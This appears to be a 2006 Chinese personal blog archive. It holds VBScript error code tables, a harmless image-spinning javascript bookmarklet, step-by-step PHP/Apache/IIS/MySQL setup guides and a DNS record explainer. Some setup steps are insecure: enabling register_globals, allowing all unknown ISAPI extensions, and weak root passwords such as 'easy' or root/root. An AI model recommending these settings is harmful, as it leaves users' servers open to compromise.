vbscript语法错误
作者:cmscn 日期:2006-11-26
当脚本源程序包含不符合语言预先规定的语法规则时,产生语法错误。在开发期间应当
注意这些错误的类型。VBScript 语言包含5 3 个语法错误
800A03E9 内存溢出
800A03EA 语法错误
800A03EB 缺少“:”
800A03ED 缺少“(”
800A03EE 缺少“)”
800A03EF 缺少“]”
800A03F2 缺少标识符
800A03F3 缺少“=”
800A03F4 缺少“if”
800A03F5 缺少“To”
800A03F6 缺少“End”
800A03F7 缺少“Function”
800A03F8 缺少“sub”
800A03F9 缺少“Then”
800A03FA 缺少“Wend”
800A03FB 缺少“Loop”
800A03FC 缺少“Next”
800A03FD 缺少“Case”
800A03FE 缺少“Select”
800A03FF 缺少表达式
800A0400 缺少语句
800A0401 缺少语句的结束
800A0402 缺少整数常量
800A0403 缺少“While”或“Until”
800A0404 缺少“While”或“Until”或语句的结束
800A0405 缺少“With”
800A0406 标识符太长
800A0407 无效数字
800A0408 无效字符
800A0409 未结束的字符串常量
800A040A 未结束的注释
800A040D 关键字“Me”的无效使用
800A040E “loop”缺少“do”
800A040F 无效的“exit”语句
800A0410 无效“for”循环控制变量
800A0411 重复定义名字
800A0412 必须是第一个语句
800A0413 不能赋予非值性参数
800A0414 当调用子过程时不能用圆括号
800A0415 缺少字符常量
800A0416 缺少“In”
800A0417 缺少“Class”
800A0418 必须在一个类中定义
800A0419 在属性声明中缺少“Let”或“Set”或“Get”
800A041A 缺少“Property”
800A041B 在属性说明中参数的数目必须一致
800A041C 在一个类中不能有多个缺省的方法或属性
800A041D 类的初始化或终止没有参数
800A041E 属性的设置或赋值必须至少有一个参数
800A041F 不希望的“Next”
800A0420 仅能在“Property”或“Function”或“Sub”上指定“Default”
800A0421 “Default”也必须指定“Public”
800A0422 “Default”说明仅能在“PropertyGet”上
vbscript运行期错误
当脚本代码试图执行一个无效动作时,发生运行期错误。在调试和测试阶段,这些主要
错误应当引起注意。V B S c r i p t 代码包含65个这样的运行期错误,
800A0005 无效的程序调用或参数
800A0006 溢出
800A0007 内存不足
800A0009 下标超界
800A000A 这数组被固定或暂时锁定
800A000B 被零除
800A000D 类型不匹配
800A000E 字符串空间不足
800A0011 不能执行要求的操作
800A001C 没有段空间
800A0023 子程序或函数没定义
800A0030 装载DLL出错
800A0033 内部错误
800A0034 无效的文件名或数值
800A0035 文件没找到
800A0036 错误的文件格式
800A0037 文件已打开
800A0039 I/O设备错误
800A003A 文件已存在
800A003D 磁盘已满
800A003E 输入超出文件尾
800A0043 文件太多
800A0044 设备不可用
800A0046 权限被拒绝
800A0047 磁盘没准备好
800A004A 不能用不同的驱动器重命名
800A004B 路径/文件访问出错
800A004C 找不到路径
800A005B 没有设置对象变量
800A005C For循环没有初始化
800A005E Null的无效使用
800A0142 不能产生必需的临时文件
800A01A8 对象被请求
800A01AD ActiveX组件不能创建对象
0800A01A E类不支持自动化
800A01B0 在自动化操作中没有找到文件名或类名
800A01B6 对象不支持这个方法或属性
800A01B8 自动化出错
800A01BD 对象不支持这种操作
800A01BE 对象不支持命名的参数
800A01BF 对象不支持目前的位置设置
800A01C0 命名的参数没发现
800A01C1 变量不可缺省
800A01C2 错误的变量个数或无效的属性设置
800A01C3 对象不是一个集合
800A01C5 指定的DLL函数没找到
800A01C7 代码资源锁出错
800A01C9 这个键已与这个集合的一个元素相关
800A01CA 变量使用了在VBScript中不支持的自动化类型
800A01CE 远程服务器机器不存在或不可用
800A01E1 无效图片
800A01F4 变量没定义
800A01F5 非法赋值
800A01F6 对于执行脚本来说,对象不安全
800A01F7 对于初始化来说,对象不安全
800A01F8 对于创建来说,对象不安全
800A01F9 无效或不可靠的引用
800A01FA 类没有定义
800A1398 缺少需要规则的表达式对象
800A1399 在规则表达式中有语法错误
800A139A 不希望的量词
800A139B 在规则表...
注意这些错误的类型。VBScript 语言包含5 3 个语法错误
800A03E9 内存溢出
800A03EA 语法错误
800A03EB 缺少“:”
800A03ED 缺少“(”
800A03EE 缺少“)”
800A03EF 缺少“]”
800A03F2 缺少标识符
800A03F3 缺少“=”
800A03F4 缺少“if”
800A03F5 缺少“To”
800A03F6 缺少“End”
800A03F7 缺少“Function”
800A03F8 缺少“sub”
800A03F9 缺少“Then”
800A03FA 缺少“Wend”
800A03FB 缺少“Loop”
800A03FC 缺少“Next”
800A03FD 缺少“Case”
800A03FE 缺少“Select”
800A03FF 缺少表达式
800A0400 缺少语句
800A0401 缺少语句的结束
800A0402 缺少整数常量
800A0403 缺少“While”或“Until”
800A0404 缺少“While”或“Until”或语句的结束
800A0405 缺少“With”
800A0406 标识符太长
800A0407 无效数字
800A0408 无效字符
800A0409 未结束的字符串常量
800A040A 未结束的注释
800A040D 关键字“Me”的无效使用
800A040E “loop”缺少“do”
800A040F 无效的“exit”语句
800A0410 无效“for”循环控制变量
800A0411 重复定义名字
800A0412 必须是第一个语句
800A0413 不能赋予非值性参数
800A0414 当调用子过程时不能用圆括号
800A0415 缺少字符常量
800A0416 缺少“In”
800A0417 缺少“Class”
800A0418 必须在一个类中定义
800A0419 在属性声明中缺少“Let”或“Set”或“Get”
800A041A 缺少“Property”
800A041B 在属性说明中参数的数目必须一致
800A041C 在一个类中不能有多个缺省的方法或属性
800A041D 类的初始化或终止没有参数
800A041E 属性的设置或赋值必须至少有一个参数
800A041F 不希望的“Next”
800A0420 仅能在“Property”或“Function”或“Sub”上指定“Default”
800A0421 “Default”也必须指定“Public”
800A0422 “Default”说明仅能在“PropertyGet”上
vbscript运行期错误
当脚本代码试图执行一个无效动作时,发生运行期错误。在调试和测试阶段,这些主要
错误应当引起注意。V B S c r i p t 代码包含65个这样的运行期错误,
800A0005 无效的程序调用或参数
800A0006 溢出
800A0007 内存不足
800A0009 下标超界
800A000A 这数组被固定或暂时锁定
800A000B 被零除
800A000D 类型不匹配
800A000E 字符串空间不足
800A0011 不能执行要求的操作
800A001C 没有段空间
800A0023 子程序或函数没定义
800A0030 装载DLL出错
800A0033 内部错误
800A0034 无效的文件名或数值
800A0035 文件没找到
800A0036 错误的文件格式
800A0037 文件已打开
800A0039 I/O设备错误
800A003A 文件已存在
800A003D 磁盘已满
800A003E 输入超出文件尾
800A0043 文件太多
800A0044 设备不可用
800A0046 权限被拒绝
800A0047 磁盘没准备好
800A004A 不能用不同的驱动器重命名
800A004B 路径/文件访问出错
800A004C 找不到路径
800A005B 没有设置对象变量
800A005C For循环没有初始化
800A005E Null的无效使用
800A0142 不能产生必需的临时文件
800A01A8 对象被请求
800A01AD ActiveX组件不能创建对象
0800A01A E类不支持自动化
800A01B0 在自动化操作中没有找到文件名或类名
800A01B6 对象不支持这个方法或属性
800A01B8 自动化出错
800A01BD 对象不支持这种操作
800A01BE 对象不支持命名的参数
800A01BF 对象不支持目前的位置设置
800A01C0 命名的参数没发现
800A01C1 变量不可缺省
800A01C2 错误的变量个数或无效的属性设置
800A01C3 对象不是一个集合
800A01C5 指定的DLL函数没找到
800A01C7 代码资源锁出错
800A01C9 这个键已与这个集合的一个元素相关
800A01CA 变量使用了在VBScript中不支持的自动化类型
800A01CE 远程服务器机器不存在或不可用
800A01E1 无效图片
800A01F4 变量没定义
800A01F5 非法赋值
800A01F6 对于执行脚本来说,对象不安全
800A01F7 对于初始化来说,对象不安全
800A01F8 对于创建来说,对象不安全
800A01F9 无效或不可靠的引用
800A01FA 类没有定义
800A1398 缺少需要规则的表达式对象
800A1399 在规则表达式中有语法错误
800A139A 不希望的量词
800A139B 在规则表...
图片疯了
作者:cmscn 日期:2006-11-25
把下面这段代码粘贴到本页面ie的地址栏里,然后按回车。。。
其它的网站也是一样,挺好玩的,要先打开网站,再把代码贴到ie的地址栏里,然后按回车。。。
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);
其它的网站也是一样,挺好玩的,要先打开网站,再把代码贴到ie的地址栏里,然后按回车。。。
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);
windows2000/XP/2003下安裝APACHE2.0.53、PHP5.0.3、MYSQL
作者:cmscn 日期:2006-11-24
from http://www.51r.com/user2/taus/archives/2005/35022.shtml
1.把软件升级至目录最新.
2.去掉CGI的安装方式.(避免让初学者看着糊涂)
3.将mysql升级到官方推荐使用的4.1.*系列.5.0系列同样适用!
4.加入GD2的支持
PS:太懒,就根据luck_mlc的版本改制
--------------------------------------------------------------------------
先从各官方网站下了APACHE2.0.53、PHP5.03、MYSQL4.1.10a、PHPMYADMIN2.6.1
apache_2.0.53-win32-x86-no_ssl.msi
PHP视角本地下载------http://down.phpv.net/soft/392.htm
官方下载------http://www.apache.org
php-5.0.3-Win32.zip
PHP视角本地下载------http://down.phpv.net/soft/380.htm
官方下载---------http://www.php.net
mysql-noinstall-4.1.10-win32.zip
PHP视角本地下载------http://down.phpv.net/soft/393.htm
官方下载---------http://www.mysql.org
phpMyAdmin-2.6.1.zip
PHP视角本地下载------http://down.phpv.net/soft/378.htm
---------这个也可到天空下载站去下
由于时效性,你看贴的时候也许会有更高的版本的,不过如果没有特殊说明,安装方法是一样的
-------------------------------------------------------------------------------------------------------------
假设:系统盘为c:/
假设:把所有的东西安装在D盘下的php目录下
假设:安装好后目录状态会是这样子:
apache------------------------->d:/php/apache
mysql--------------------------->d:/php/mysql
php----------------------------->d:/php/php
网页文件------------------------>d:/php/www
以上这些是我的喜好,你可以改成你喜欢的
第一步安装mysql4.1.10a(本文章的配置适用于mysql4.1和mysql5.0版本)
将下载的的mysql压缩包,直接解压到指定目录(d:\php\mysql)就可以了
然后双击D:\php\mysql\bin\winmysqladmin.exe这个文件,请输入winmysqladmin的初始用户、密码(注:这不是mysql里的用户、密码)随便填不必在意.确定之后你的右下角任务的启动栏会出现一个红绿灯的图标(绿灯),红灯亮代表服务停止,绿灯亮代表服务正常
(如果不是绿灯,就左击这个图标->winnt->installtheservice安装此服务
再左击这个图标->winnt->starttheservice启动mysql服务)
修改mysql数据库的root密码
开始->运行,输入cmd然后cd到d:\mysql\bin执行以下命令
D:\mysql\bin>mysql
进入mysql后接着执行:
(将root密码设置为easy)
下面一步是让PHP可以连接到mysql4.1以上版本的,一定不可以省略。具体可参考http://www.phpv.net/article.php/288
密码请根据你需要换成别的
如果你下载的是进制安装包,解压到任意目录后就直接双击setup.exe文件,按照你安装软件的习惯装好它,记得到路径选择那一步时请写d:\php\mysql装好后打开d:\php\mysql\bin\文件夹,双击winmysqladmin.exe文件,会弹出一个窗口,要求设置你的mysql服务的管理员用户名密码.自己定吧
两种方法区别一看就明了.
第二步:安装apache并配置支持PHP
双击安装文件apache_2.0.53-win32-x86-no_ssl.msi
将apache安装在D:\php\apache目录下
还会有输入框,提示输入域名呀管理员信箱,随便填就是了.
+-----------------------------------------------------
|注:安装完后会自动安装并启动apache的服务,如在此处出现问题:
|“(OS10048)通常每个套接字地址(协议/网络地址/端口)只允许使用一次:
|make_sock:couldnotbindtoaddress0.0.0.0:80...”一般是IIS占用了80端口引起的
|解决方法:打开控制面板->服务找到IISadmin的服务关闭并禁用
|然后用CMD进入命令行模式进入你安装apache的目录/apache2/bin
|输入
|apache-kinstall
|apache-kstart
|如果成功的话,再接着做下面的!
+--------------------------------------------------------------
将php-5.0.3-Win32.zip里内容解压到D:\php\php里
找到php目录里的php.ini-dist(似乎这是一个习惯,其实我更喜欢用php.ini-recommended)重命名为php.ini并拷到windows系统目录下(特殊情况:win2k系统目录为winnt)
如我的php.ini是拷到c:\windows目录
再将php目录里的php5ts.dll,libmysql.dll拷到系统目录系统目录如我的是c:\windows里(也可以是c:\windows\system32)
最后到D:\php\php\ext下将php_gd2.dllphp_mysql.dll这两个文件复制到system/system32如我的是c:\windows\system里
配置apache里的httpd.conf
打开D:\php\Apache\conf\httpd.conf这个文件
找到AddDefaultCharsetISO-8859-1将其改为
AddDefaultCharsetGB2312(让默认语言编码为简体中文)
找到DocumentRoot"D:/php/Apache2/htdocs"将其改为你的WEB目录,如我的为
DocumentRoot"D:/php/www"
找到DirectoryIndexindex.htmlindex.html.var在后面加入index.htmindex.php(默认index.php为首页文件)
--------------模块化安装PHP----------------------------------------
找到#LoadModulessl_modulemodules/mod_ssl.so这行,在此行后加入一行
LoadModulephp5_moduled:/php/php/php5apache2.dll
其中d:/php/php/php5apache2.dll为你php目录中php5apache2.dll所在的位置
再找到AddTypeapplication/x-gzip.gz.tgz这行,在此行后加入一行
AddTypeapplication/x-httpd-php.php
(其实:上面两行红色的,你可以直接加在httpd.conf文件的最后面也可以的)
----------------------------------------------...
1.把软件升级至目录最新.
2.去掉CGI的安装方式.(避免让初学者看着糊涂)
3.将mysql升级到官方推荐使用的4.1.*系列.5.0系列同样适用!
4.加入GD2的支持
PS:太懒,就根据luck_mlc的版本改制
--------------------------------------------------------------------------
先从各官方网站下了APACHE2.0.53、PHP5.03、MYSQL4.1.10a、PHPMYADMIN2.6.1
apache_2.0.53-win32-x86-no_ssl.msi
PHP视角本地下载------http://down.phpv.net/soft/392.htm
官方下载------http://www.apache.org
php-5.0.3-Win32.zip
PHP视角本地下载------http://down.phpv.net/soft/380.htm
官方下载---------http://www.php.net
mysql-noinstall-4.1.10-win32.zip
PHP视角本地下载------http://down.phpv.net/soft/393.htm
官方下载---------http://www.mysql.org
phpMyAdmin-2.6.1.zip
PHP视角本地下载------http://down.phpv.net/soft/378.htm
---------这个也可到天空下载站去下
由于时效性,你看贴的时候也许会有更高的版本的,不过如果没有特殊说明,安装方法是一样的
-------------------------------------------------------------------------------------------------------------
假设:系统盘为c:/
假设:把所有的东西安装在D盘下的php目录下
假设:安装好后目录状态会是这样子:
apache------------------------->d:/php/apache
mysql--------------------------->d:/php/mysql
php----------------------------->d:/php/php
网页文件------------------------>d:/php/www
以上这些是我的喜好,你可以改成你喜欢的
第一步安装mysql4.1.10a(本文章的配置适用于mysql4.1和mysql5.0版本)
将下载的的mysql压缩包,直接解压到指定目录(d:\php\mysql)就可以了
然后双击D:\php\mysql\bin\winmysqladmin.exe这个文件,请输入winmysqladmin的初始用户、密码(注:这不是mysql里的用户、密码)随便填不必在意.确定之后你的右下角任务的启动栏会出现一个红绿灯的图标(绿灯),红灯亮代表服务停止,绿灯亮代表服务正常
(如果不是绿灯,就左击这个图标->winnt->installtheservice安装此服务
再左击这个图标->winnt->starttheservice启动mysql服务)
修改mysql数据库的root密码
开始->运行,输入cmd然后cd到d:\mysql\bin执行以下命令
D:\mysql\bin>mysql
进入mysql后接着执行:
(将root密码设置为easy)
下面一步是让PHP可以连接到mysql4.1以上版本的,一定不可以省略。具体可参考http://www.phpv.net/article.php/288
密码请根据你需要换成别的
如果你下载的是进制安装包,解压到任意目录后就直接双击setup.exe文件,按照你安装软件的习惯装好它,记得到路径选择那一步时请写d:\php\mysql装好后打开d:\php\mysql\bin\文件夹,双击winmysqladmin.exe文件,会弹出一个窗口,要求设置你的mysql服务的管理员用户名密码.自己定吧
两种方法区别一看就明了.
第二步:安装apache并配置支持PHP
双击安装文件apache_2.0.53-win32-x86-no_ssl.msi
将apache安装在D:\php\apache目录下
还会有输入框,提示输入域名呀管理员信箱,随便填就是了.
+-----------------------------------------------------
|注:安装完后会自动安装并启动apache的服务,如在此处出现问题:
|“(OS10048)通常每个套接字地址(协议/网络地址/端口)只允许使用一次:
|make_sock:couldnotbindtoaddress0.0.0.0:80...”一般是IIS占用了80端口引起的
|解决方法:打开控制面板->服务找到IISadmin的服务关闭并禁用
|然后用CMD进入命令行模式进入你安装apache的目录/apache2/bin
|输入
|apache-kinstall
|apache-kstart
|如果成功的话,再接着做下面的!
+--------------------------------------------------------------
将php-5.0.3-Win32.zip里内容解压到D:\php\php里
找到php目录里的php.ini-dist(似乎这是一个习惯,其实我更喜欢用php.ini-recommended)重命名为php.ini并拷到windows系统目录下(特殊情况:win2k系统目录为winnt)
如我的php.ini是拷到c:\windows目录
再将php目录里的php5ts.dll,libmysql.dll拷到系统目录系统目录如我的是c:\windows里(也可以是c:\windows\system32)
最后到D:\php\php\ext下将php_gd2.dllphp_mysql.dll这两个文件复制到system/system32如我的是c:\windows\system里
配置apache里的httpd.conf
打开D:\php\Apache\conf\httpd.conf这个文件
找到AddDefaultCharsetISO-8859-1将其改为
AddDefaultCharsetGB2312(让默认语言编码为简体中文)
找到DocumentRoot"D:/php/Apache2/htdocs"将其改为你的WEB目录,如我的为
DocumentRoot"D:/php/www"
找到DirectoryIndexindex.htmlindex.html.var在后面加入index.htmindex.php(默认index.php为首页文件)
--------------模块化安装PHP----------------------------------------
找到#LoadModulessl_modulemodules/mod_ssl.so这行,在此行后加入一行
LoadModulephp5_moduled:/php/php/php5apache2.dll
其中d:/php/php/php5apache2.dll为你php目录中php5apache2.dll所在的位置
再找到AddTypeapplication/x-gzip.gz.tgz这行,在此行后加入一行
AddTypeapplication/x-httpd-php.php
(其实:上面两行红色的,你可以直接加在httpd.conf文件的最后面也可以的)
----------------------------------------------...
PHP5终极安装——PHP5+IIS5+Windows2000Server
作者:cmscn 日期:2006-11-24
1. PHP5
到http://www.php.net上下载最新版本。
2.IIS5就不用下载安装了,因为系统已经默认给你安装好了。
3. MySQL 4.1.7
MySQL 官方下载地址为: http://www.mysql.com
安装 PHP5
将下载的php解压缩并复制到你选择的分区中(如C盘),并将其更名为php。完成后的路径:C:\php。以下步骤中假定 php位于 c:\php中。你也可以选择其它的路径但最好不要用中间有空格的路径,例如:C:\Program Files\php,如果这样做有些 Web 服务器就会崩溃。
接下来复制 C:\php\目录下的 php5ts.dll 文件到c:\winnt\system32目录中。
下一步是设定有效的 PHP 配置文件php.ini。 C:\PHP5中包括两个 ini 文件,php.ini-dist 和 php.ini-recommended。其中 php.ini-recommended对默认设置作了性能和安全上的优化。我们这里选择php.ini-dist,将选择的 ini 文件拷贝到 PHP 能够找到的目录下并改名为 php.ini。在 Windows 2000 Server 中拷贝到c:\winnt中。
注意:如果使用了 NTFS,确保运行 webserver 的用户对 php.ini 有读取的权限(例如使其对 Everyone 可读)。
正确加载对MySQL数据库的支持模块
复制 C:\PHP5\ 目录下的libmysql.dll文件到 C:\windows\system32\ 目录中。
用记事本打开编辑php.ini文件,找到并修改下面两行:
; Directory in which the loadable extensions (modules) reside.
extension_dir = "./"
成:
; Directory in which the loadable extensions (modules) reside.
extension_dir = "c:\php\ext\"
再找到下面两行:
;Windows Extensions
;Note that ODBC support is built in, so no dll is needed for it.
将;extension=php_mysql.dll前的分号去掉成:extension=php_mysql.dll然后保存文件并退出即可使PHP5支持MySQL数据库。
配置IIS服务器
依次点击“开始/设置/控制面板/管理工具/Internet服务管理器/主目录”。
在“主目录”中点击“配置”按钮,在应用程序映射中添加一个新的条目。用 php5isapi.dll 的路径作为可执行文件(Executable),用 .php 作为文件后缀, 如果你不用 PHP 进行 HTTP 认证的话,你可以不设置ISAPI筛选器。
完全停止 IIS 服务,再重新启动IIS服务。如果还是出现问题,则重新启动电脑。
相关链接:
· 听雨留客
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=526087
到http://www.php.net上下载最新版本。
2.IIS5就不用下载安装了,因为系统已经默认给你安装好了。
3. MySQL 4.1.7
MySQL 官方下载地址为: http://www.mysql.com
安装 PHP5
将下载的php解压缩并复制到你选择的分区中(如C盘),并将其更名为php。完成后的路径:C:\php。以下步骤中假定 php位于 c:\php中。你也可以选择其它的路径但最好不要用中间有空格的路径,例如:C:\Program Files\php,如果这样做有些 Web 服务器就会崩溃。
接下来复制 C:\php\目录下的 php5ts.dll 文件到c:\winnt\system32目录中。
下一步是设定有效的 PHP 配置文件php.ini。 C:\PHP5中包括两个 ini 文件,php.ini-dist 和 php.ini-recommended。其中 php.ini-recommended对默认设置作了性能和安全上的优化。我们这里选择php.ini-dist,将选择的 ini 文件拷贝到 PHP 能够找到的目录下并改名为 php.ini。在 Windows 2000 Server 中拷贝到c:\winnt中。
注意:如果使用了 NTFS,确保运行 webserver 的用户对 php.ini 有读取的权限(例如使其对 Everyone 可读)。
正确加载对MySQL数据库的支持模块
复制 C:\PHP5\ 目录下的libmysql.dll文件到 C:\windows\system32\ 目录中。
用记事本打开编辑php.ini文件,找到并修改下面两行:
; Directory in which the loadable extensions (modules) reside.
extension_dir = "./"
成:
; Directory in which the loadable extensions (modules) reside.
extension_dir = "c:\php\ext\"
再找到下面两行:
;Windows Extensions
;Note that ODBC support is built in, so no dll is needed for it.
将;extension=php_mysql.dll前的分号去掉成:extension=php_mysql.dll然后保存文件并退出即可使PHP5支持MySQL数据库。
配置IIS服务器
依次点击“开始/设置/控制面板/管理工具/Internet服务管理器/主目录”。
在“主目录”中点击“配置”按钮,在应用程序映射中添加一个新的条目。用 php5isapi.dll 的路径作为可执行文件(Executable),用 .php 作为文件后缀, 如果你不用 PHP 进行 HTTP 认证的话,你可以不设置ISAPI筛选器。
完全停止 IIS 服务,再重新启动IIS服务。如果还是出现问题,则重新启动电脑。
相关链接:
· 听雨留客
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=526087
IIS6.0+PHP5+MySQL+phpMyAdmin完全解决方法
作者:cmscn 日期:2006-11-24
windowsXP
下载后得到 php-5.1.6-Win32.zip ,解压至C:\Inetpub\php
把C:\php下的MSVCRT.DLL php5ts.dll msvcrtd.dll php5isapi.dll拷贝到system32目录下
把C:\php下的php.ini-dist拷贝到C:\windows下并将其改名为php.ini 并且要做一些修改
用记事本打开,利用记事本的查找功能搜索
CODE:
register_globals = Off
[Copy to clipboard]
将 Off 改成 On ;
再搜索
CODE:
extension_dir =
[Copy to clipboard]
并将其路径指到你的 PHP 目录下的 extensions 目录,比如:extension_dir = "C:\Inetpub\php\ext" ;
搜索找到
CODE:
;Windows Extensions
[Copy to clipboard]
将下面列举的
CODE:
;extension=php_dbase.dll
[Copy to clipboard]
可选
CODE:
;extension=php_gd2.dll
[Copy to clipboard]
这个是用来支持GD库的,一般需要,必选
CODE:
;extension=php_ldap.dll
[Copy to clipboard]
可选
CODE:
;extension=php_mbstring.dll
[Copy to clipboard]
这不选一般用PHPMYADMIN会出红色提示,故必选
CODE:
;extension=php_mssql.dll
[Copy to clipboard]
这个是用来支持MSSQL的,可选
CODE:
;extension=php_mysql.dll
[Copy to clipboard]
这个是用来支持MYSQL的,要支持MYSQL必选
将这些前的";"去掉,其他的你需要的也可以去掉前面的;然后关闭保存该文件。
打开站点属性ISAPI筛选器 添加 筛选器名称 php 可执行文件 C:\WINDOWS\system32\php5isapi.dll
主目录 配置 映射 添加 可执行文件 C:\WINDOWS\system32\php5isapi.dll 扩展名 .php
先停止IIS 再打开IIS 即可 开始--运行-- iisreset
windows2003
“Internet信息服务(IIS)管理器”->“WEB服务扩展”,按菜单上的“操作”->“添加一个新的WEB服务扩展”
在“扩展名”中输入“PHP”,按“添加”,在弹出新的窗口中按“浏览”,选择安装PHP目录中的php5isapi.dll文件后,在原本的窗口中“设置扩展状态为允许”前面打勾,确定即可。
将IIS管理器中的“所有未知ISAPI扩展”设置为允许
新建phpinfo.php文件
<?php
phpinfo();
?>
放在IIS目录下.打开浏览器,输入:http://localhost/phpinfo.php,将显示当前服务器所支持PHP的全部信息...说明IIS下php环境配置成功
安装 MySQL
将下载得到的mysql-5.1.6-alpha-win32双击安装即可(注意安装目录不要太深,路径中不要出现空格)。
安装过程中会提示你是不是立即进行配置,选择否即可完成安装。
安装完毕后,在“开始”菜单里面有配置向导MySQL Server Instance Config Wizar,
运行后按下面步骤配置设置ROOT密码即可 最好把帐好和密码都设置成root 图片详解见附件
安装GD库
这一步在前面PHP.INI配置中实际上已经安装好了,
在php.ini里找到
"extension_dir",然后将路径指向extension,如下(假设你的php安装路
径为:C:\Inetpub\php,设置extension_dir = "C:\Inetpub\php\ext",完成这步后,
在 php.ini 里找到 "extension=php_gd2.dll" 这一行,并且去掉前面的分号,gd库安装完成。
安装 phpMyAdmin
将下载得到的 phpMyAdmin-2.7.0-pl2 ,解压到 IIS 默认网站根目录,
找到并打开 config.default.php,做以下修改:
1、搜索 $cfg['PmaAbsoluteUri'] ,设置你的phpmyadmin的URL,
如: $cfg['PmaAbsoluteUri'] = 'http://localhost/phpmyadmin/';
注意这里假设phpmyadmin在默认站点的根目录下
2、搜索$cfg['blowfish_secret'],设定好root密码后这里也要填写mysql设置时的密码
3、搜索 $cfg['DefaultLang'] ,将其设置为 zh-gb2312
4、搜索 $cfg['DefaultCharset'] ,将其设置为 gb2312
5、搜索 $cfg['Servers'][$i]['...
下载后得到 php-5.1.6-Win32.zip ,解压至C:\Inetpub\php
把C:\php下的MSVCRT.DLL php5ts.dll msvcrtd.dll php5isapi.dll拷贝到system32目录下
把C:\php下的php.ini-dist拷贝到C:\windows下并将其改名为php.ini 并且要做一些修改
用记事本打开,利用记事本的查找功能搜索
CODE:
register_globals = Off
[Copy to clipboard]
将 Off 改成 On ;
再搜索
CODE:
extension_dir =
[Copy to clipboard]
并将其路径指到你的 PHP 目录下的 extensions 目录,比如:extension_dir = "C:\Inetpub\php\ext" ;
搜索找到
CODE:
;Windows Extensions
[Copy to clipboard]
将下面列举的
CODE:
;extension=php_dbase.dll
[Copy to clipboard]
可选
CODE:
;extension=php_gd2.dll
[Copy to clipboard]
这个是用来支持GD库的,一般需要,必选
CODE:
;extension=php_ldap.dll
[Copy to clipboard]
可选
CODE:
;extension=php_mbstring.dll
[Copy to clipboard]
这不选一般用PHPMYADMIN会出红色提示,故必选
CODE:
;extension=php_mssql.dll
[Copy to clipboard]
这个是用来支持MSSQL的,可选
CODE:
;extension=php_mysql.dll
[Copy to clipboard]
这个是用来支持MYSQL的,要支持MYSQL必选
将这些前的";"去掉,其他的你需要的也可以去掉前面的;然后关闭保存该文件。
打开站点属性ISAPI筛选器 添加 筛选器名称 php 可执行文件 C:\WINDOWS\system32\php5isapi.dll
主目录 配置 映射 添加 可执行文件 C:\WINDOWS\system32\php5isapi.dll 扩展名 .php
先停止IIS 再打开IIS 即可 开始--运行-- iisreset
windows2003
“Internet信息服务(IIS)管理器”->“WEB服务扩展”,按菜单上的“操作”->“添加一个新的WEB服务扩展”
在“扩展名”中输入“PHP”,按“添加”,在弹出新的窗口中按“浏览”,选择安装PHP目录中的php5isapi.dll文件后,在原本的窗口中“设置扩展状态为允许”前面打勾,确定即可。
将IIS管理器中的“所有未知ISAPI扩展”设置为允许
新建phpinfo.php文件
<?php
phpinfo();
?>
放在IIS目录下.打开浏览器,输入:http://localhost/phpinfo.php,将显示当前服务器所支持PHP的全部信息...说明IIS下php环境配置成功
安装 MySQL
将下载得到的mysql-5.1.6-alpha-win32双击安装即可(注意安装目录不要太深,路径中不要出现空格)。
安装过程中会提示你是不是立即进行配置,选择否即可完成安装。
安装完毕后,在“开始”菜单里面有配置向导MySQL Server Instance Config Wizar,
运行后按下面步骤配置设置ROOT密码即可 最好把帐好和密码都设置成root 图片详解见附件
安装GD库
这一步在前面PHP.INI配置中实际上已经安装好了,
在php.ini里找到
"extension_dir",然后将路径指向extension,如下(假设你的php安装路
径为:C:\Inetpub\php,设置extension_dir = "C:\Inetpub\php\ext",完成这步后,
在 php.ini 里找到 "extension=php_gd2.dll" 这一行,并且去掉前面的分号,gd库安装完成。
安装 phpMyAdmin
将下载得到的 phpMyAdmin-2.7.0-pl2 ,解压到 IIS 默认网站根目录,
找到并打开 config.default.php,做以下修改:
1、搜索 $cfg['PmaAbsoluteUri'] ,设置你的phpmyadmin的URL,
如: $cfg['PmaAbsoluteUri'] = 'http://localhost/phpmyadmin/';
注意这里假设phpmyadmin在默认站点的根目录下
2、搜索$cfg['blowfish_secret'],设定好root密码后这里也要填写mysql设置时的密码
3、搜索 $cfg['DefaultLang'] ,将其设置为 zh-gb2312
4、搜索 $cfg['DefaultCharset'] ,将其设置为 gb2312
5、搜索 $cfg['Servers'][$i]['...
什么是A记录,子域名,CNAME别名,MX记录,TXT记录,SRV 记录,泛域名(泛解析),域名转向
作者:cmscn 日期:2006-11-24
A记录
QUOTE:
A (Address) 记录是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置您域名的子域名。通俗来说A记录就是服务器的IP,域名绑定A记录就是告诉DNS,当你输入域名的时候给你引导向设置在DNS的A记录所对应的服务器
子域名
QUOTE:
子域名道理等同二级域名,不过比二级域名更加延伸,比如我们继续扩展该域名的主机名,设置主机名为bbs.at,那么就可以建立一个三级域名:bbs.at.abc.com,当然也可以建立四级域名bbs.at.go.abc.com,五级域名bbs.at.go.home.abc.com……,依次类推,可以建立无限级别的域名,我们统称这些域名为顶级域名abc.com的子域名。
CNAME别名指向记录
QUOTE:
CNAME (Canonical Name)记录,通常称别名指向。在这里,您可以定义一个主机别名,比如设置ftp.***.com,用来指向一个主机www.***.com,那么以后就可以用FTP.***.com来代替访问www.***.com了。
MX记录
QUOTE:
MX记录也叫做邮件路由记录,用户可以将该域名下的邮件服务器指向到自己的mail server上,然后即可自行操控所有的邮箱设置。您只需在线填写您服务器的IP地址,即可将您域名下的邮件全部转到您自己设定相应的邮件服务器上。
简单的说,通过操作MX记录,您才可以得到以您域名结尾的邮局。
TXT 记录
QUOTE:
TXT 记录,一般指为某个主机名或域名设置的说明,如:
